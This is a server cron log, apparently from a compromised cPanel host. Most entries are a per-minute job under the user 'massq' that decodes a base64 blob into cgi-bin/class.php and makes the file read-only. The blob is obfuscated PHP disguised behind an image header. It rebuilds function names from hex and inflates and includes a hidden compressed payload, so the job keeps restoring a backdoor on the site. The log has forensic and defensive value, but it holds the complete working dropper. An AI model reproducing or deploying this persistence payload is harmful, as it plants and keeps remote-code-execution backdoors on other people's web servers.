Nov 14 15:12:01 server CROND[10161]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:12:01 server CROND[10162]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 15:13:01 server CROND[11059]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:14:01 server CROND[11834]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:15:01 server CROND[12048]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 15:15:01 server CROND[12049]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:15:01 server CROND[12050]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 15:16:01 server CROND[12965]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:17:01 server CROND[13924]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:18:01 server CROND[14790]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:19:01 server CROND[15666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:20:01 server CROND[16463]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 15:20:01 server CROND[16464]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 15:20:01 server CROND[16466]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 15:20:01 server CROND[16470]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 15:20:01 server CROND[16469]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:21:01 server CROND[17481]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:22:01 server CROND[18361]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:23:01 server CROND[19216]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:24:01 server CROND[19918]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:25:01 server CROND[20784]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
